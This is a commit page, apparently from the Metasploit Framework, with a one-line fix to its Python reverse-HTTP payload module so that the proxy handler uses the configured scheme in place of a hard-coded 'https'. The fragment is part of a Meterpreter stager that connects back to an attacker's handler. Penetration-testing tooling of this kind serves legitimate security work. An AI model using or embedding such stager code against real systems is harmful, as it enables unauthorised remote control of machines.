Fix the scheme for the pymet ProxyHandler

bug/bundler_fix
Spencer McIntyre 2015-11-30 13:45:24 -05:00
parent 6483eca00a
commit 388edd3207
1 changed files with 1 additions and 1 deletions

View File

@ -99,7 +99,7 @@ module Payload::Python::ReverseHttp
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ? proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" : "http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}" "http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n" cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
end end
cmd << "o=ul.build_opener(*hs)\n" cmd << "o=ul.build_opener(*hs)\n"